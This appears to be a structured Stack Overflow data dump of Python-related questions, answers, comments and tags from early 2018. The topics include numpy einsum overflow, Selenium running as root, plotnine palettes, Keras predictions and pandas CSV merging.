has body: Suppose I have two arrays of type int8. I want to use einsum on them in such a way that all the calculations will be done as int64, but I don't want to convert the whole arrays to int64. If I understand correctly, this is what the dtype argument is for. But it seems to not always work. An example where it does work as expected: &gt;&gt;&gt; A = np.array([[123, 45],[67,89]], dtype='int8') &gt;&gt;&gt; np.einsum(A,[0,1],A,[0,1],[1]) ## =&gt; integer overflow array([-94, -38], dtype=int8) &gt;&gt;&gt; np.einsum(A,[0,1],A,[0,1],[1], dtype='int64') ## =&gt; no overflow array([19618, 9946], dtype=int64) An example where it does not work as expected: &gt;&gt;&gt; A = np.array([[123, 45],[67,89]], dtype='int8') &gt;&gt;&gt; np.einsum(A,[0,1],A,[1,2],[0,2]) ## =&gt; integer overflow array([[-32, 68], [124, -72]], dtype=int8) &gt;&gt;&gt; np.einsum(A,[0,1],A,[1,2],[0,2], dtype='int64') ## =&gt; should not overflow, but it does array([[-32, 68], [124, -72]], dtype=int8) For these examples I used python 3.6.4 on windows with numpy 1.14.0 The same happens when I try other dtypes, e.g., float64, and even if I use casting='unsafe'. Why does this happen, and how can I make it work? UPDATE: einsum has optimize=True as default, at least in numpy 1.14.0. When using optimize=False, it works as expected (although much slower, for large arrays): &gt;&gt;&gt; A = np.array([[123, 45],[67,89]], dtype='int8') &gt;&gt;&gt; np.einsum(A,[0,1],A,[1,2],[0,2]) ## =&gt; integer overflow array([[-32, 68], [124, -72]], dtype=int8) &gt;&gt;&gt; np.einsum(A,[0,1],A,[1,2],[0,2], dtype='int64', optimize=False) array([[18144, 9540], [14204, 10936]], dtype=int64) From a brief look at einsum.py, it seems that when optimize=True, then it checks whether it is better to use numpy.tensordot instead of the einsum implementation. If it is (which it should be in my 2nd example, as it is just a regular matrix multiplication), then it uses tensordot, but it does not pass the dtype argument to it. Indeed, tensordot d…
downvote count: 0
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/86207034
linked to: http://stackoverflow.com/q/48996893
has comment: http://stackoverflow.com/comment/86201519

http://stackoverflow.com/comment/86083255
has text: Sorry @GregSchmit left that out in my haste, added it in. Cheers.
comment on: http://stackoverflow.com/q/49537687
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49543630
tagged with: selenium-chromedriver
upvote count: 3
downvote count: 0
has title: Chromium webdriver error when running as root
answer count: 1
favorite count: 0
tagged with: celery
has comment: http://stackoverflow.com/comment/86095363
has comment: http://stackoverflow.com/comment/86095270
type: Question
score: 3
has body: On Ubuntu16, Selenium fails when running from a Python/Celery task or from python with sudo. Running script manually runs without problem. Sample error: $ sudo /var/www/my_proj/env/bin/python Python 3.5.2 (default, Nov 17 2016, 17:05:23) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; from selenium import webdriver &gt;&gt;&gt; driver = webdriver.Chrome('/usr/lib/chromium-browser/chromedriver') Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/var/www/my_proj/env/lib/python3.5/site-packages/selenium/webdriver/chrome/webdriver.py", line 75, in __init__ desired_capabilities=desired_capabilities) File "/var/www/my_proj/env/lib/python3.5/site-packages/selenium/webdriver/remote/webdriver.py", line 154, in __init__ self.start_session(desired_capabilities, browser_profile) File "/var/www/my_proj/env/lib/python3.5/site-packages/selenium/webdriver/remote/webdriver.py", line 243, in start_session response = self.execute(Command.NEW_SESSION, parameters) File "/var/www/my_proj/env/lib/python3.5/site-packages/selenium/webdriver/remote/webdriver.py", line 312, in execute self.error_handler.check_response(response) File "/var/www/my_proj/env/lib/python3.5/site-packages/selenium/webdriver/remote/errorhandler.py", line 242, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.WebDriverException: Message: unknown error: Chrome failed to start: exited abnormally (Driver info: chromedriver=2.35 (0),platform=Linux 4.4.0-116-generic x86_64) &gt;&gt;&gt; Here is how it runs perfectly without sudo: $ /var/www/my_proj/env/bin/python Python 3.5.2 (default, Nov 17 2016, 17:05:23) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; from selenium import webdriver &gt;&gt;&gt; driver = webdriver.Chrome('/usr/lib/chromium-browser/chromedriver') &gt;&gt;&gt; Chromium/Xvfb were installed as:…
type: UnansweredQuestion
tagged with: python
tagged with: selenium-webdriver
has answer: http://stackoverflow.com/a/49546963

http://stackoverflow.com/q/49531655
has title: Issue using qualitative brewer palettes in plotnine
type: UnansweredQuestion
has body: I would like to use a brewer qualitative palette using plotnine, but I get the error: ValueError: Invalid color map name 'Set1' for type 'Sequential'. Valid names are: ['Blues', 'BuGn', 'BuPu', 'GnBu', 'Greens', 'Greys', 'OrRd', 'Oranges', 'PuBu', 'PuBuGn', 'PuRd', 'Purples', 'RdPu', 'Reds', 'YlGn', 'YlGnBu', 'YlOrBr', 'YlOrRd'] Reproducible example from plotnine import * import pandas as pd df = pd.DataFrame({'a': [0,1,2,3,4], 'b': [0,-2,10,6,8], 'c': ['a', 'b', 'a', 'a', 'b']}) (ggplot(df, aes(x = 'a', y = 'b', color = 'factor(c)')) + geom_line() + scale_color_brewer(palette = 'Set1')) In ggplot2 in R, however, you can do the same and get the correct plot library(ggplot2) df = data.frame(a = c(0,1,2,3,4), b = c(0,-2,10,6,8), c = c('a', 'b', 'a', 'a', 'b')) ggplot(df, aes(x = a, y = b, color = factor(c))) + geom_line() + scale_color_brewer(palette = "Set1")
has comment: http://stackoverflow.com/comment/86082195
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86069612
tagged with: python
has comment: http://stackoverflow.com/comment/86072130
has comment: http://stackoverflow.com/comment/86070927
upvote count: 8
has comment: http://stackoverflow.com/comment/86071348
score: 8
favorite count: 0
has comment: http://stackoverflow.com/comment/86069797
type: Question
tagged with: plotnine
has answer: http://stackoverflow.com/a/66178822

http://stackoverflow.com/comment/85914520
score: 0
type: Comment
type: QuestionComment
has text: @wim Just for feature researching in Python
comment on: http://stackoverflow.com/q/49455742

matplotlib-basemap
type: Tag
tags question: http://stackoverflow.com/q/49469409
tags question: http://stackoverflow.com/q/49528214
tags question: http://stackoverflow.com/q/49450272
tags question: http://stackoverflow.com/q/49495508
tags question: http://stackoverflow.com/q/49465788
tag name: matplotlib-basemap

http://stackoverflow.com/comment/86203626
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49595170
has text: See also the answer to your other question https://stackoverflow.com/a/49596407/412772

http://stackoverflow.com/a/62727958
has body: For Windows Users: Donwload Laszip.exe from "https://rapidlasso.com/laszip/" Add path to laszip.exe to %PATH% in User_Variables and System_Variables
type: Answer
answers question: http://stackoverflow.com/q/49500149
score: 0

http://stackoverflow.com/comment/86083063
score: 0
comment on: http://stackoverflow.com/a/49536284
type: AnswerComment
has text: @RenLyke which version of python are you using?
type: Comment

http://stackoverflow.com/q/49481195
answer count: 2
downvote count: 0
score: 1
upvote count: 1
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/49481800
type: Question
has title: What is the easiest way "pair" strings in one list with integers in another (in python)?
tagged with: python
has answer: http://stackoverflow.com/a/49481404
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85965308
has comment: http://stackoverflow.com/comment/85965286
tagged with: integer
has comment: http://stackoverflow.com/comment/85965303
tagged with: list
has comment: http://stackoverflow.com/comment/85965282
has body: I'm working on a school project which has to store the names of people and their respective score on a test in a list so that I can manipulate it to find averages as well as printing out each persons score with their name. Relatively new to Python so any help is appreciated :)
has comment: http://stackoverflow.com/comment/85965290

3d
tags question: http://stackoverflow.com/q/49584153
type: Tag
tag name: 3d
tags question: http://stackoverflow.com/q/49526602
tags question: http://stackoverflow.com/q/49581292
tags question: http://stackoverflow.com/q/49515770

http://stackoverflow.com/q/49444598
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49444706
type: UnansweredQuestion
tagged with: python
tagged with: computer-vision
has comment: http://stackoverflow.com/comment/85894755
tagged with: artificial-intelligence
has body: For my in-game AI project I use computer vision. So, for supervised learning I capture the screen and pressed keys. I have a problem to store this huge amount of data (lot's of images of size 320x240) since my hard drive is limited in space. So far I found that saving frames in jpeg performs the best (1000 frames ~20MB). I also tried to save array of images using numpy (.npy, 1000 frames ~220 MB) and h5py (.h5, 1000 frames ~220MB). In this ways the file sizes were too big to store sufficient amount of data for AI training (even when using gzip compression). However, saving in jpeg gives very slow read/write speed. So, is there any way to store an array of images in a single file to have high read/write speed and at the same time being compact? I found interesting research about it (https://stackoverflow.com/a/41425878), but seems in the case of images it is not helpful.
has comment: http://stackoverflow.com/comment/85895426
has comment: http://stackoverflow.com/comment/85893116
has comment: http://stackoverflow.com/comment/85890877
linked to: http://stackoverflow.com/q/9619199
score: 1
has comment: http://stackoverflow.com/comment/85894502
has title: The best way of saving array of images in a file (Python)
downvote count: 0
answer count: 1
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/85894370
upvote count: 1
has comment: http://stackoverflow.com/comment/85897852

http://stackoverflow.com/comment/85899919
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49447885
has text: @Bryan: I think the "the script runs fine with no errros but no user account is created" is fairly clear.
type: Comment

http://stackoverflow.com/comment/85917285
type: Comment
score: 0
type: AnswerComment
has text: Thanks Header! Your answer make things clearer. I'm going to take a look on cvCanny too!
comment on: http://stackoverflow.com/a/49457020

http://stackoverflow.com/comment/86046688
score: 1
comment on: http://stackoverflow.com/q/49520493
has text: Welcome to SO. Unfortunately this isn't a discussion forum or tutorial. Please take the time to read [ask] and the other links on that page. Invest some time with [the Tutorial](https://docs.python.org/3/tutorial/index.html) practicing the examples. It will give you an idea of the tools Python offers to help you solve your problem.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86020569
comment on: http://stackoverflow.com/q/49507801
score: 1
type: QuestionComment
has text: Yes. They are garbage collected immediately. `a1` and `a2` are also dangling pointers
type: Comment

http://stackoverflow.com/a/49512552
has comment: http://stackoverflow.com/comment/86031910
has body: Your standalone script uses the endpoint "/v2/search/instant", but your Django version has just "/v2/search". Also, the script has querystring parameters "query=whatever", but in Django you just use "whatever". I don't know why you don't do the same thing as in your script: url = 'https://trackapi.nutritionix.com/v2/search/instant' body = {'query': food} response = requests.get(url, headers=headers, params=body)
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49511514

http://stackoverflow.com/a/49580501
has body: You are missing a % in your original code, which is why it doesnt work. Use float("%.02f" % x) instead of float(".02f" % x): &gt;&gt;&gt; e =[0.2941, 0.1176, 0.0588, 0.2352, 0.1176, 0.1764] &gt;&gt;&gt; print([float("%.02f" % x) for x in e]) # ^the % is missing [0.29, 0.12, 0.06, 0.24, 0.12, 0.18] Alternatively, use round: &gt;&gt;&gt; print([ round(x,2) for x in e]) [0.29, 0.12, 0.06, 0.24, 0.12, 0.18]
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49580390
type: Answer
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49580390
score: 2
upvote count: 2

http://stackoverflow.com/comment/86141035
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49565947
has text: @avigil so you're saying I should remove the first half of the answer?
type: Comment

http://stackoverflow.com/q/49482561
score: 1
tagged with: image-processing
tagged with: tensorflow
type: Question
tagged with: image-recognition
has answer: http://stackoverflow.com/a/49482693
accepted answer: http://stackoverflow.com/a/49482693
has title: Python Keras Image Recognition using Tensorflow model.predict returns [[0.]]
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85968203
tagged with: keras
favorite count: 0
has body: I've been following the tutorial here to process images of cats, and see if a specific picture contains a cat. The data set I use is here. Is there something missing in the way I read in an image for testing? In my results from model.predict(filePath), I always get the value '[[0.]]' when reading an image containing a cat. The train and validation sets seem to work correctly. I am only having issues reading in an image. (Source code is copied from here) from keras.preprocessing.image import ImageDataGenerator from keras.models import Sequential from keras.layers import Conv2D, MaxPooling2D from keras.layers import Activation, Dropout, Flatten, Dense from keras import backend as K import numpy as np from keras.preprocessing import image # dimensions of our images. img_width, img_height = 150, 150 train_data_dir = 'data/train' validation_data_dir = 'data/validation' nb_train_samples = 2000 nb_validation_samples = 800 epochs = 50 batch_size = 16 if K.image_data_format() == 'channels_first': input_shape = (3, img_width, img_height) else: input_shape = (img_width, img_height, 3) model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=input_shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(32, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(64)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.add(Activation('sigmoid')) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) # this is the augmentation configuration we will use for training train_datagen = ImageDataGenerator( rescale=1. / 255, shear_range=0.2, zoom_range=0.2, horizontal_flip=True) # this is the augmentation configuration we will use for testing: # only rescaling test_datagen = ImageDataGenerator(rescale=1. / 255) train_generat…
type: AnsweredQuestion

http://stackoverflow.com/comment/85919592
type: Comment
type: QuestionComment
has text: fillna replaces nas - I want to fill a different column. UPDATE WHERE equivalent.
score: 0
comment on: http://stackoverflow.com/q/49458219

http://stackoverflow.com/a/49568262
answers question: http://stackoverflow.com/q/49568182
has body: Here's a way to accomplish this with itertools.groupby. from itertools import groupby ls = [] for key, group in groupby(lst, lambda x: x != "TAG"): if key: ls.append(list(group)) print ls # [[2, 3, 5], [6, 7, 3, 2, 6], [9, 9, 8, 3]] This can also be implemented as a comprehension: ls = [list(group) for key, group in groupby(lst, lambda x: x != "TAG") if key]
type: Answer
upvote count: 2
score: 2
downvote count: 0

http://stackoverflow.com/q/49460907
tagged with: python-import
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85924829
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/85924823
tagged with: python
favorite count: 0
has body: With a valid python source file, is it possible to tell the nature of c in the following import statement? from a.b import c For example, whether c is a package, a module, a class, a variable, a function? Would the ast module help this task? Would further looking into the usage of c help? Or do we have to execute this statement and look into the properties of c to tell? The motivation of this is to do some analysis on a code base to see what package/modules are heavily used, and how files are related to each other.
has answer: http://stackoverflow.com/a/49460950
score: 3
has title: How to distinguish package, module, class, function in python import
has comment: http://stackoverflow.com/comment/85924822
type: Question

http://stackoverflow.com/q/49460725
favorite count: 0
type: Question
has title: Need to improve code efficiency using numpy functinoality
tagged with: numpy
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85924711
has answer: http://stackoverflow.com/a/49473952
downvote count: 0
has comment: http://stackoverflow.com/comment/85926278
tagged with: python
has comment: http://stackoverflow.com/comment/85928045
score: 1
has body: I am new to using NumPy, but I believe it is the tool I need to speed up my code. Here is what I want my code to accomplish: For every row in a 2D numpy array (T), I want to know the number of elements satisfying each of four conditions that depend on a cutoff value, for every cutoff value in another array (T_cuts), all while using as few loops as possible. Here is a sketch of how I would go about this task using for loops: for row in T: classification_counts = [] for cut in T_cuts: results = [] for element in row: results.append(classify(element, cut)) ones = results.count(1) twos = results.count(2) threes = results.count(3) fours = results.count(4) classification_counts.append([ones, twos, threes, fours]) The helper function classify just returns either 1,2,3, or 4 depending on the relationship between the element of T and the cutoff value of T_cuts. For this problem, T.shape == (1000000,80) and T_cuts.shape == (3000,1), so using loops has proved to be much too slow. EDIT: Including full definition of classify. The array corr_stats contains information on where each of the elements of T came from, and the first column is either "type1" or "type2". def classify(cutoff, element): i, j = np.where( T == element ) if element &gt;= cutoff and corr_stats[j,0] == "type1": return 1 elif element &gt;= cutoff and corr_stats[j,0] == "type2": return 2 elif element &lt; cutoff and corr_stats[j,0] == "type2": return 3 elif element &lt; cutoff and corr_stats[j,0] == "type1": return 4 else: return 0
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85939508
has comment: http://stackoverflow.com/comment/85924556

http://stackoverflow.com/a/49594814
accepted answer of: http://stackoverflow.com/q/49594752
score: 3
answers question: http://stackoverflow.com/q/49594752
type: Answer
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: import pandas as pd df1 = pd.read_csv('path_of_first_csv_file') df2 = pd.read_csv('path_of_second_csv_file') df3 = pd.concat([df1, df2], ignore_index=True) df3 = df3.drop_duplicates(subset='ShowingDateTime', keep="first") print(df3) df3.to_csv('output.csv')

http://stackoverflow.com/a/49465103
accepted answer of: http://stackoverflow.com/q/49465066
has body: Specify the extension in the filename you are writing to: with open('CSV\globalLS.csv', 'a', newline = "") as f: This way, when you try and open the file, your operating system will be able to apply the default application used for .csv type. If your default application is not set correctly for csv files, you need to set this yourself. The process will be dependent on your operating system.
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/49465066

http://stackoverflow.com/comment/86169787
type: QuestionComment
comment on: http://stackoverflow.com/q/49579783
has text: What was the input you supplied? Please post request.POST
type: Comment
score: 0

http://stackoverflow.com/comment/85933368
comment on: http://stackoverflow.com/q/49465286
score: 1
has text: What's the problem? This is very vague.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86102306
type: Comment
score: 0
comment on: http://stackoverflow.com/a/49523262
type: AnswerComment
has text: No problem, this is very helpful, now everything is working, will scale it for 30-40 columns I have. Only change here is I replaced _d.notna() with _d.notnull(). This change is done because I was getting error "AttributeError: 'DataFrame' object has no attribute 'notna'." Thanks for the help.

http://stackoverflow.com/comment/86060210
has text: Don't know much about DB, but I see a difference between 1 and "1" in the code fragments. Could you try: `@app.route('/test/<int:device_id>/<column_name>', ...` ?(added `int:` to the id)
comment on: http://stackoverflow.com/q/49525856
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49533208
score: 0
has comment: http://stackoverflow.com/comment/86072899
has comment: http://stackoverflow.com/comment/86073982
upvote count: 1
tagged with: python
type: UnansweredQuestion
has body: I need to send email with cc to customers. But when I set cc and send the mail receiver got mail as 'to' and not showing the cc people. Is there any way to fix that in odoo 10?
has comment: http://stackoverflow.com/comment/86145725
has answer: http://stackoverflow.com/a/49628525
has answer: http://stackoverflow.com/a/49568876
has answer: http://stackoverflow.com/a/78926452
answer count: 4
tagged with: odoo-10
has title: Email with cc in odoo
has answer: http://stackoverflow.com/a/49671581
downvote count: 1
has comment: http://stackoverflow.com/comment/86108943
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
has comment: http://stackoverflow.com/comment/86108534
type: Question

http://stackoverflow.com/comment/86213109
type: Comment
comment on: http://stackoverflow.com/a/49596930
type: AnswerComment
has text: One question. Why did you never have to call self on square?
score: 0

http://stackoverflow.com/a/76936519
answers question: http://stackoverflow.com/q/49474632
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: Actually you are making profile_picture parameter optional in create_user function: def create_user(self, email, full_name, profile_picture=None, gender=None, password=None, is_admin=False, is_staff=False, is_active=True): And for create_superuser function your code is : def create_superuser(self, email, profile_picture, gender, full_name, password=None): SOLUTION : def create_superuser(self, full_name, email, password, profile_picture=None, gender=None, is_admin=True, is_staff=True, is_active=True): And one shortcut is there to handle these many parameters: def create_superuser(self, email, password, **extra_fields):

http://stackoverflow.com/comment/85903620
comment on: http://stackoverflow.com/q/49445742
type: Comment
type: QuestionComment
score: 0
has text: @MartinEvans i have added rows for 'self.results'

http://stackoverflow.com/comment/86046329
type: QuestionComment
has text: @cberkay Suggest some changes.
score: 0
comment on: http://stackoverflow.com/q/49479078
type: Comment

http://stackoverflow.com/comment/85967184
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49481973
has text: @KRKirov Yes, I have. The reason why this cannot work is because of the problem I'm trying to solve. Seeing as the 0 represents a running score, each time the for loop runs, those keys values would be set back to zero each time. What I want is for each key to start off with 0
type: Comment

http://stackoverflow.com/comment/86128512
type: Comment
type: QuestionComment
score: 0
has text: Is it acceptable answer to first convert to CSV and *then* use pandas to read into dataframe or is there a requirement why this cannot be done?
comment on: http://stackoverflow.com/q/49560061

http://stackoverflow.com/q/49548625
accepted answer: http://stackoverflow.com/a/49566061
has comment: http://stackoverflow.com/comment/86107732
upvote count: 0
score: -2
has answer: http://stackoverflow.com/a/49566061
has comment: http://stackoverflow.com/comment/86118247
tagged with: python
has title: Runtime Error - web.config
tagged with: flask
has comment: http://stackoverflow.com/comment/86120056
has comment: http://stackoverflow.com/comment/86122130
type: AnsweredQuestion
tagged with: web-config
downvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/86119848
has body: I have created a website using flask that takes in a string, creates a url based off the string, parses the url and then feeds it back into the website. I created a function to do so and it works perfectly. However when I implement it within my flask program it started throwing a runtime error that states: An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine. Details:To enable the details of this specific error message to be viewable on remote machines, please create a customErrors tag within a "web.config" configuration file located in the root directory of the current web application. This customErrors tag should then have its "mode" attribute set to "Off". I am not familiar with creating a web.config or how to implement this within my flask program. Any help would be appreciated. Code: Function that works when ran on it's own: def parse_wotc(): set_list = [] # Manually enter in value for test card_url = 'http://gatherer.wizards.com/Pages/Card/Details.aspx?name=' + 'mountain' # (replace mountain) card_name.replace(' ', '+') soup = BeautifulSoup(requests.get(card_url).text, 'html.parser') for image in soup.find_all('img'): if image.get('title') is not None: set_list.append(image.get('title')) print(set_list) return set_list webapp code: @app.route('/', methods=['GET', 'POST']) def index(): card_name = None card_url = '/static/images/card_back.jpg' if request.form.get('random_button'): card_url, card_name = random_card_image(list_card_names) # When function ran here it give the error parse_wotc(card_name) def random_card_image(list_card_names): """This function will pull a random card name from the provided list and return to main program""" card_name = random.choice(list_card_names) card_url = 'http://gatherer.wizards.com/Handlers/Image.ashx?name=' …
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86121265

http://stackoverflow.com/a/49543683
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49542448
downvote count: 0
has body: By default Django uses the FallbackStorage class, which means that it will first use CookieStorage to store your messages. As long as your cookie does not exceed 2KB, then it will store all your messages in a cookie. What you are doing is creating messages when you run your request, all these messages are stored in a cookie. You then add an event and make another request. The view will then loop through all your EventType's again and add it to the cookie, along with the original content of the cookie from the first request. I don't know why when you add an EventType a third time it shows the list properly, perhaps you are at the size limit of the cookie and it drops its existing contents. Do you really need to store messages? Messages are used as a logging mechanism. You are using messages to iterate over a model, which is unnecessary. Simply pass classinfo into your context dictionary and iterate over it instead of messages: view.py: classinfo = EventType.objects.all() template.html: {% for event in classinfo %} &lt;li&gt;{{ event }}&lt;/li&gt; {% endfor %} Better yet, simply use Django's ListView, this is exactly what it is for: class EventListView(ListView): model = EventType
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/49542448

http://stackoverflow.com/q/49543050
upvote count: 1
has answer: http://stackoverflow.com/a/49543072
has answer: http://stackoverflow.com/a/49543077
possible better answer: http://stackoverflow.com/a/49543077
downvote count: 1
has comment: http://stackoverflow.com/comment/86093813
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86093833
has answer: http://stackoverflow.com/a/49543138
has body: How can I evaluate a value at a specific key in a dict when using that key in a string variable (currency) to get the underlying values? What I'm trying now is: offer = {'USD': [0.12, 0.15, 0.20, 0,50]} currency = ['USD'] print(offer[currency]) and I want that to give &gt;&gt;&gt; [0.12, 0.15, 0.20, 0,50] Is there any function or method that I'm missing?
accepted answer: http://stackoverflow.com/a/49543072
tagged with: python
linked to: http://stackoverflow.com/q/11041405
type: AnsweredQuestion
has title: Getting values from dict with a key from a string variable
score: 0
answer count: 3

http://stackoverflow.com/comment/85972431
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49484783
has text: @abarnert was actually attempting to do that right now. I don't think partial will work with `list.count`, since value is actually a positional argument.
type: Comment

http://stackoverflow.com/comment/86037836
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49498932
has text: A friend told me I may want to use a different method, as the HiveQueryTask does not seem to provide a good way out outputting the results of a query. Looking at the code in my original question, he stated "the output of the hive query doesn't default to whatever you return via the "output" method". This implies that I need to find where the output actually goes, and write that into the file.

http://stackoverflow.com/q/49519768
tagged with: python-3.x
answer count: 0
has comment: http://stackoverflow.com/comment/86116952
has comment: http://stackoverflow.com/comment/86048061
tagged with: h5py
tagged with: video-capture
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86117484
has title: Reading h5 file and storing the video in that file in .avi format
has comment: http://stackoverflow.com/comment/86128155
tagged with: opencv
score: 0
has body: I am trying to read a video stored in file with .h5 extension and than store that video in a video file(.avi,.mp4). I am able to read the data in h5 file and display video on my screen.(cv2.imshow) But not able to write the data in a video file. I am using cv2.VideoWriter for the purpose of writing video. I have tried using different video format as input parameter 'VideoWriter'.It is not working Here is the code that I have used: fourcc = cv2.VideoWriter_fourcc(*format) #File to be read #It is a gray scale video of mouth region extraacted from a coloured video of full face my_h5_file = 'Z:/sa.h5' feature_name = 'sequence' #to read the h5 file with h5py.File(my_h5_file, 'r') as f: #roi: contains the value or the video roi = f[feature_name].value #numframe 193 , y =36, x = 36 num_frames,y,x = roi.shape[:3] print(num_frames) print('y:',y,'x:',x) #Using VideoWriter to write video in avi format outvid = cv2.VideoWriter('Z:/output10.avi',fourcc,30,(x,y)) #to write the video frame by frame for i in range (num_frames): frame = roi[i,:] f = np.squeeze(frame) outvid.write(frame) outvid.release() It is showing this error: OpenCV Error: Assertion failed (image-&gt;depth == 8) in CvVideoWriter_FFMPEG_proxy::writeFrame, file C:\projects\opencv-python\opencv\modules\videoio\src\cap_ffmpeg.cpp, line 274 Traceback (most recent call last): File "Z:/VSR/pyVSR/display_roi_video.py", line 38, in &lt;module&gt; outvid.write(frame) cv2.error: C:\projects\opencv-python\opencv\modules\videoio\src\cap_ffmpeg.cpp:274: error: (-215) image-&gt;depth == 8 in function CvVideoWriter_FFMPEG_proxy::writeFrame
has comment: http://stackoverflow.com/comment/86049086
has comment: http://stackoverflow.com/comment/86098560
has comment: http://stackoverflow.com/comment/86109100
type: Question

http://stackoverflow.com/q/49538531
tagged with: list
has answer: http://stackoverflow.com/a/49538729
has comment: http://stackoverflow.com/comment/86084295
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/86085160
has answer: http://stackoverflow.com/a/49538842
has comment: http://stackoverflow.com/comment/86084429
has title: Turn list with strings in list with raw strings
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86084908
answer count: 2
has comment: http://stackoverflow.com/comment/86084259
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86084831
has comment: http://stackoverflow.com/comment/86084440
has body: I'm working on a project in order to learn and develop my code capabilities with Python 3. In this project I need raw strings with paths. Example: rPaths = [r"Path to the app", r"C:\\Program Files (x86)\\MAGIX\\MP3 deluxe 19\\MP3deluxe.exe", r"F:\\VLC\\vlc.exe"] I also need this to be achieved from another list that contains only normal lists: Paths = ["Path to the app", "C:\\Program Files (x86)\\MAGIX\\MP3 deluxe 19\\MP3deluxe.exe", "F:\\VLC\\vlc.exe"] In order to achieve that I tried the following: rPaths1 = "%r"%Paths rPaths2 = [re.compile(p) for p in Paths] rPaths3 = ["%r"%p for p in Paths] To which the results weren't the desired: &gt;&gt;&gt;print(Paths) ['Path to the app', 'C:\\Program Files (x86)\\MAGIX\\MP3 deluxe 19\\MP3deluxe.exe', 'F:\\VLC\\vlc.exe'] &gt;&gt;&gt;print(rPaths) ['Path to the app', 'C:\\\\Program Files (x86)\\\\MAGIX\\\\MP3 deluxe 19\\\\MP3deluxe.exe', 'F:\\\\VLC\\\\vlc.exe'] &gt;&gt;&gt;print(rPaths1) ['Path to the app', 'C:\\Program Files (x86)\\MAGIX\\MP3 deluxe 19\\MP3deluxe.exe', 'F:\\VLC\\vlc.exe'] &gt;&gt;&gt;print(rPaths2) [re.compile('Path to the app'), re.compile('C:\\Program Files (x86)\\MAGIX\\MP3 deluxe 19\\MP3deluxe.exe'), re.compile('F:\\VLC\\vlc.exe')] &gt;&gt;&gt;print(rPaths3) ["'Path to the app'", "'C:\\\\Program Files (x86)\\\\MAGIX\\\\MP3 deluxe 19\\\\MP3deluxe.exe'", "'F:\\\\VLC\\\\vlc.exe'"] Can anyone help me? I would prefer not to import anything.
tagged with: rawstring

http://stackoverflow.com/a/49448148
accepted answer of: http://stackoverflow.com/q/49447911
has comment: http://stackoverflow.com/comment/85898976
has comment: http://stackoverflow.com/comment/85898635
type: Answer
has comment: http://stackoverflow.com/comment/85898427
has comment: http://stackoverflow.com/comment/85898574
has comment: http://stackoverflow.com/comment/85898778
answers question: http://stackoverflow.com/q/49447911
has comment: http://stackoverflow.com/comment/85898751
score: 3
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/85898847
